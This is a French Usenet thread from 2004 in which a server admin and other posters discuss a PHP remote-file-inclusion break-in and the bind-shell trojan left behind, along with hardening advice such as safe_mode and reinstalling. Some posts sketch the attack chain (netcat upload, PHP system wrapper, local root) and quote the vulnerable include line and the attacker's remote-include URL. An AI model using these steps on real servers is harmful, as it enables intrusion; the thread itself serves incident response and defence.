j'administre un serveur dedie qui s'est fait hacké ce we,
le *#!*@#"est rentre par une faille php classique qu'un client heberge a
codé,
j'ai suspendu le site, restauré les sauv, trouvé ce qu'a fait le mec par
contre
je ne connais pas le troyen qu'il a installé, j'ai trouvé le source sur le
net :
http://www.fdlsk8.hpg.ig.com.br/cgi.c
qqun peut m'expliquer ce qu'il est censé faire ?
j'ai l'impression que c'est juste pour avoir un shell a distance mais
j'aimerais avoir votre avis,
D'autre part si qqun connais bien la bestiole pourrais t'il me dire comment
etre sur
de l'avoir totalement supprimée ? a priori les ports en ecoute ne sont pas
suspects,
j'ai passé un antivirus qui n'as rien trouvé ainsi que chkrootkit qui est
lui aussi resté muet.
Le Mon, 05 Apr 2004 14:22:34 +0000, christophe a écrit :
j'administre un serveur dedie qui s'est fait hacké ce we, le *#!*@#"est rentre par une faille php classique qu'un client heberge a codé
Il faut revoir la politique de cloisonnement des sites web. Il n'est pas normal qu'une faille dans un site hébergé mette en péril la machine dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode et qui aide bien...
j'ai suspendu le site, restauré les sauv, trouvé ce qu'a fait le mec par contre je ne connais pas le troyen qu'il a installé
Quand une machine a été corrompue, il faut la raser et tout réinstallé de zéro. En effet, rien ne te prouve que ce que tu as trouvé soit le seul rootkit installé. C'est peut-être juste l'arbre qui cache la forêt...
-- Créer une hiérarchie supplementaire pour remedier à un problème (?) de dispersion est d'une logique digne des Shadocks. * BT in: Guide du Cabaliste Usenet - La Cabale vote oui (les Shadocks aussi) *
Le Mon, 05 Apr 2004 14:22:34 +0000, christophe a écrit :
j'administre un serveur dedie qui s'est fait hacké ce we,
le *#!*@#"est rentre par une faille php classique qu'un client heberge a
codé
Il faut revoir la politique de cloisonnement des sites web. Il n'est pas
normal qu'une faille dans un site hébergé mette en péril la machine
dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode
et qui aide bien...
j'ai suspendu le site, restauré les sauv, trouvé ce qu'a fait le mec
par contre je ne connais pas le troyen qu'il a installé
Quand une machine a été corrompue, il faut la raser et tout réinstallé
de zéro. En effet, rien ne te prouve que ce que tu as trouvé soit le
seul rootkit installé. C'est peut-être juste l'arbre qui cache la forêt...
--
Créer une hiérarchie supplementaire pour remedier à un problème (?) de
dispersion est d'une logique digne des Shadocks.
* BT in: Guide du Cabaliste Usenet - La Cabale vote oui (les Shadocks aussi) *
Le Mon, 05 Apr 2004 14:22:34 +0000, christophe a écrit :
j'administre un serveur dedie qui s'est fait hacké ce we, le *#!*@#"est rentre par une faille php classique qu'un client heberge a codé
Il faut revoir la politique de cloisonnement des sites web. Il n'est pas normal qu'une faille dans un site hébergé mette en péril la machine dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode et qui aide bien...
j'ai suspendu le site, restauré les sauv, trouvé ce qu'a fait le mec par contre je ne connais pas le troyen qu'il a installé
Quand une machine a été corrompue, il faut la raser et tout réinstallé de zéro. En effet, rien ne te prouve que ce que tu as trouvé soit le seul rootkit installé. C'est peut-être juste l'arbre qui cache la forêt...
-- Créer une hiérarchie supplementaire pour remedier à un problème (?) de dispersion est d'une logique digne des Shadocks. * BT in: Guide du Cabaliste Usenet - La Cabale vote oui (les Shadocks aussi) *
Thieum
http://www.fdlsk8.hpg.ig.com.br/cgi.c qqun peut m'expliquer ce qu'il est censé faire ? j'ai l'impression que c'est juste pour avoir un shell a distance mais j'aimerais avoir votre avis,
Oui, c'est un shell sur le port 44464 Comment est il rentré via du PHP ?
http://www.fdlsk8.hpg.ig.com.br/cgi.c
qqun peut m'expliquer ce qu'il est censé faire ?
j'ai l'impression que c'est juste pour avoir un shell a distance mais
j'aimerais avoir votre avis,
Oui, c'est un shell sur le port 44464
Comment est il rentré via du PHP ?
http://www.fdlsk8.hpg.ig.com.br/cgi.c qqun peut m'expliquer ce qu'il est censé faire ? j'ai l'impression que c'est juste pour avoir un shell a distance mais j'aimerais avoir votre avis,
Oui, c'est un shell sur le port 44464 Comment est il rentré via du PHP ?
Erwan David
Cedric Blancher écrivait :
Il faut revoir la politique de cloisonnement des sites web. Il n'est pas normal qu'une faille dans un site hébergé mette en péril la machine dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode et qui aide bien...
Mais qui malheureusement fait hurler les hébergés qui veulent mettre le dernier script tout fait de la mort qui tue.
Quoique c'est alors un bon moyen de sélectionner à qui envoyer une brochure sur la sécurité du serveur d'hébergement...
Il faut revoir la politique de cloisonnement des sites web. Il n'est pas
normal qu'une faille dans un site hébergé mette en péril la machine
dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode
et qui aide bien...
Mais qui malheureusement fait hurler les hébergés qui veulent mettre
le dernier script tout fait de la mort qui tue.
Quoique c'est alors un bon moyen de sélectionner à qui envoyer une
brochure sur la sécurité du serveur d'hébergement...
Il faut revoir la politique de cloisonnement des sites web. Il n'est pas normal qu'une faille dans un site hébergé mette en péril la machine dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode et qui aide bien...
Mais qui malheureusement fait hurler les hébergés qui veulent mettre le dernier script tout fait de la mort qui tue.
Quoique c'est alors un bon moyen de sélectionner à qui envoyer une brochure sur la sécurité du serveur d'hébergement...
-- Real programs don't eat cache
Cedric Blancher
Le Mon, 05 Apr 2004 16:07:26 +0000, Thieum a écrit :
Comment est il rentré via du PHP ?
Exemple assez basique et terriblement classique.
Un script te permet d'uploader des fichiers dans l'espace de publication. Tu uploades un binaire genre netcat et un script PHP faisant un system sur ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell. Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est alors nécessaire de trouver un script réalisant un directory traversal pour aller exécuter le PHP. Là encore, tu as un shell.
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop dur non plus.
-- BOFH excuse #199:
the curls in your keyboard cord are losing electricity.
Le Mon, 05 Apr 2004 16:07:26 +0000, Thieum a écrit :
Comment est il rentré via du PHP ?
Exemple assez basique et terriblement classique.
Un script te permet d'uploader des fichiers dans l'espace de publication.
Tu uploades un binaire genre netcat et un script PHP faisant un system sur
ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell.
Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est
alors nécessaire de trouver un script réalisant un directory traversal
pour aller exécuter le PHP. Là encore, tu as un shell.
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce
qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop
dur non plus.
--
BOFH excuse #199:
the curls in your keyboard cord are losing electricity.
Le Mon, 05 Apr 2004 16:07:26 +0000, Thieum a écrit :
Comment est il rentré via du PHP ?
Exemple assez basique et terriblement classique.
Un script te permet d'uploader des fichiers dans l'espace de publication. Tu uploades un binaire genre netcat et un script PHP faisant un system sur ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell. Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est alors nécessaire de trouver un script réalisant un directory traversal pour aller exécuter le PHP. Là encore, tu as un shell.
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop dur non plus.
-- BOFH excuse #199:
the curls in your keyboard cord are losing electricity.
Thieum
Un script te permet d'uploader des fichiers dans l'espace de publication. Tu uploades un binaire genre netcat et un script PHP faisant un system sur ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell. Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est alors nécessaire de trouver un script réalisant un directory traversal pour aller exécuter le PHP. Là encore, tu as un shell. Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop dur non plus.
*Théoriquement* sur un serveur tu as un repertoire par user avec des droits spécifiques ? Tu ne dois pas pouvoir executer de programme ? A+
Un script te permet d'uploader des fichiers dans l'espace de publication.
Tu uploades un binaire genre netcat et un script PHP faisant un system sur
ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell.
Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est
alors nécessaire de trouver un script réalisant un directory traversal
pour aller exécuter le PHP. Là encore, tu as un shell.
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce
qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop
dur non plus.
*Théoriquement* sur un serveur tu as un repertoire par user avec des droits
spécifiques ? Tu ne dois pas pouvoir executer de programme ?
A+
Un script te permet d'uploader des fichiers dans l'espace de publication. Tu uploades un binaire genre netcat et un script PHP faisant un system sur ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell. Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est alors nécessaire de trouver un script réalisant un directory traversal pour aller exécuter le PHP. Là encore, tu as un shell. Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop dur non plus.
*Théoriquement* sur un serveur tu as un repertoire par user avec des droits spécifiques ? Tu ne dois pas pouvoir executer de programme ? A+
Cedric Blancher
Le Mon, 05 Apr 2004 18:32:09 +0000, Thieum a écrit :
*Théoriquement* sur un serveur tu as un repertoire par user avec des droits spécifiques ? Tu ne dois pas pouvoir executer de programme ?
Sauf que tes scripts, ils ne sont pas exécuté au sens système du terme. Ils sont interprété par le serveur web, qui tourne avec l'identité d'un utilisateur unique (généralement www-data pour Apache), qui doit avoir accès en lecture aux scripts de _tous_ les utilisateurs du système. Du coup, à moins d'utiliser des extensions spécifiques, les scripts de toto ou tata donnent lieu à des actions de la part du serveur web sous un nom d'utilisateur unique. Et quand on peut appliquer la méthode exposée, c'est sous cet utilisateur qu'on a un shell, et non sous l'identité du propriétaire des pages.
" Embedded scripting options which run as part of the server itself, such as mod_php, mod_perl, mod_tcl, and mod_python, run under the identity of the server itself (see the User directive), and therefore scripts executed by these engines potentially can access anything the server user can. Some scripting engines may provide restrictions, but it is better to be safe and assume not."
Et comme je le disais avant, un des moyens pour éviter ça en PHP, c'est d'activer et de configurer le safe_mode pour fournir une compartimentation entre les sites hébergés sur le système, et surtout entre les sites et le système lui-même.
Il n'était pas question de fournir un équivalent de suEXEC pour les langages embarqués, et en particulier PHP ?
-- I gave up on finding an answer and started drinking. -+- KM in: Guide du Cabaliste Usenet - Définir le consensus ? -+-
Le Mon, 05 Apr 2004 18:32:09 +0000, Thieum a écrit :
*Théoriquement* sur un serveur tu as un repertoire par user avec des droits
spécifiques ? Tu ne dois pas pouvoir executer de programme ?
Sauf que tes scripts, ils ne sont pas exécuté au sens système du terme.
Ils sont interprété par le serveur web, qui tourne avec l'identité
d'un utilisateur unique (généralement www-data pour Apache), qui doit
avoir accès en lecture aux scripts de _tous_ les utilisateurs du
système. Du coup, à moins d'utiliser des extensions spécifiques, les
scripts de toto ou tata donnent lieu à des actions de la part du serveur
web sous un nom d'utilisateur unique. Et quand on peut appliquer la
méthode exposée, c'est sous cet utilisateur qu'on a un shell, et non
sous l'identité du propriétaire des pages.
" Embedded scripting options which run as part of the server itself, such
as mod_php, mod_perl, mod_tcl, and mod_python, run under the identity of
the server itself (see the User directive), and therefore scripts
executed by these engines potentially can access anything the server
user can. Some scripting engines may provide restrictions, but it is
better to be safe and assume not."
Et comme je le disais avant, un des moyens pour éviter ça en PHP, c'est
d'activer et de configurer le safe_mode pour fournir une compartimentation
entre les sites hébergés sur le système, et surtout entre les sites et
le système lui-même.
Il n'était pas question de fournir un équivalent de suEXEC pour les
langages embarqués, et en particulier PHP ?
--
I gave up on finding an answer and started drinking.
-+- KM in: Guide du Cabaliste Usenet - Définir le consensus ? -+-
Le Mon, 05 Apr 2004 18:32:09 +0000, Thieum a écrit :
*Théoriquement* sur un serveur tu as un repertoire par user avec des droits spécifiques ? Tu ne dois pas pouvoir executer de programme ?
Sauf que tes scripts, ils ne sont pas exécuté au sens système du terme. Ils sont interprété par le serveur web, qui tourne avec l'identité d'un utilisateur unique (généralement www-data pour Apache), qui doit avoir accès en lecture aux scripts de _tous_ les utilisateurs du système. Du coup, à moins d'utiliser des extensions spécifiques, les scripts de toto ou tata donnent lieu à des actions de la part du serveur web sous un nom d'utilisateur unique. Et quand on peut appliquer la méthode exposée, c'est sous cet utilisateur qu'on a un shell, et non sous l'identité du propriétaire des pages.
" Embedded scripting options which run as part of the server itself, such as mod_php, mod_perl, mod_tcl, and mod_python, run under the identity of the server itself (see the User directive), and therefore scripts executed by these engines potentially can access anything the server user can. Some scripting engines may provide restrictions, but it is better to be safe and assume not."
Et comme je le disais avant, un des moyens pour éviter ça en PHP, c'est d'activer et de configurer le safe_mode pour fournir une compartimentation entre les sites hébergés sur le système, et surtout entre les sites et le système lui-même.
Il n'était pas question de fournir un équivalent de suEXEC pour les langages embarqués, et en particulier PHP ?
-- I gave up on finding an answer and started drinking. -+- KM in: Guide du Cabaliste Usenet - Définir le consensus ? -+-
FAb
Cedric Blancher writes:
d'activer et de configurer le safe_mode pour fournir une compartimentation
configurer php pour interdire les exec et dérivés.
Il n'était pas question de fournir un équivalent de suEXEC pour les langages embarqués, et en particulier PHP ?
d'activer et de configurer le safe_mode pour fournir une compartimentation
configurer php pour interdire les exec et dérivés.
Il n'était pas question de fournir un équivalent de suEXEC pour les langages embarqués, et en particulier PHP ?
c'est fait.
Cedric Blancher
Le Tue, 06 Apr 2004 07:18:31 +0000, FAb a écrit :
configurer php pour interdire les exec et dérivés.
Le safe_mode le fait en n'autorisant l'exécution que si le binaire est contenu dans un répertoire particulier, comme smrsh.
Il n'était pas question de fournir un équivalent de suEXEC pour les langages embarqués, et en particulier PHP ? c'est fait.
Pointeur ?
--
Une RedHat (je ne connais pas les autres distributions) ce configure aussi simplement que windows pour un poste client. Hélas, elle génère un maximum de traffic sur Usenet
-+- TP in guide du linuxien pervers - "Je veux revoir ma SLS ! -+-
Le Tue, 06 Apr 2004 07:18:31 +0000, FAb a écrit :
configurer php pour interdire les exec et dérivés.
Le safe_mode le fait en n'autorisant l'exécution que si le binaire est
contenu dans un répertoire particulier, comme smrsh.
Il n'était pas question de fournir un équivalent de suEXEC pour les
langages embarqués, et en particulier PHP ?
c'est fait.
Pointeur ?
--
Une RedHat (je ne connais pas les autres distributions) ce configure
aussi simplement que windows pour un poste client.
Hélas, elle génère un maximum de traffic sur Usenet
-+- TP in guide du linuxien pervers - "Je veux revoir ma SLS ! -+-
configurer php pour interdire les exec et dérivés.
Le safe_mode le fait en n'autorisant l'exécution que si le binaire est contenu dans un répertoire particulier, comme smrsh.
Il n'était pas question de fournir un équivalent de suEXEC pour les langages embarqués, et en particulier PHP ? c'est fait.
Pointeur ?
--
Une RedHat (je ne connais pas les autres distributions) ce configure aussi simplement que windows pour un poste client. Hélas, elle génère un maximum de traffic sur Usenet
-+- TP in guide du linuxien pervers - "Je veux revoir ma SLS ! -+-
christophe
Comment est il rentré via du PHP ?
une saloperie d'include a distance, concretement le client a fait un truc du style: mapage.php?lg=francais.php et dans sa page un truc du style : <?php include($HTTP_GET_VARS['lg']; ?> bien sur sans s'assurer de la cohérence du contenu de la varible lg ...
et le "pirate" a appele la page comme suit : mapage.php?lg=http://www.unsitealacon.com/unfichiertextecontenantducodephp.t xt
c a mon avis la faille la plus basique en php
Comment est il rentré via du PHP ?
une saloperie d'include a distance,
concretement le client a fait un truc du style:
mapage.php?lg=francais.php
et dans sa page un truc du style :
<?php include($HTTP_GET_VARS['lg']; ?> bien sur sans s'assurer de la
cohérence du contenu de la varible lg ...
et le "pirate" a appele la page comme suit :
mapage.php?lg=http://www.unsitealacon.com/unfichiertextecontenantducodephp.t
xt
une saloperie d'include a distance, concretement le client a fait un truc du style: mapage.php?lg=francais.php et dans sa page un truc du style : <?php include($HTTP_GET_VARS['lg']; ?> bien sur sans s'assurer de la cohérence du contenu de la varible lg ...
et le "pirate" a appele la page comme suit : mapage.php?lg=http://www.unsitealacon.com/unfichiertextecontenantducodephp.t xt
c a mon avis la faille la plus basique en php
christophe
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop dur non plus.
la d'apres ce que j'ai pu trouver ce n'etait pas son intention, apres son hack le gars a appele depuis le serveur un site qui recense les defacements, et le but des participants est de defacer le plus grand nombre de sites possibles, donc bien que ne pouvant pas en etre sur, je pense qu'il n'a meme pas tenté de passer root, mais c clair qu'une reinstall s'impose ...
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce
qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop
dur non plus.
la d'apres ce que j'ai pu trouver ce n'etait pas son intention, apres son
hack le gars a appele depuis le serveur un site qui recense les defacements,
et le but des participants est de defacer le plus grand nombre de sites
possibles,
donc bien que ne pouvant pas en etre sur, je pense qu'il n'a meme
pas tenté de passer root,
mais c clair qu'une reinstall s'impose ...
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop dur non plus.
la d'apres ce que j'ai pu trouver ce n'etait pas son intention, apres son hack le gars a appele depuis le serveur un site qui recense les defacements, et le but des participants est de defacer le plus grand nombre de sites possibles, donc bien que ne pouvant pas en etre sur, je pense qu'il n'a meme pas tenté de passer root, mais c clair qu'une reinstall s'impose ...
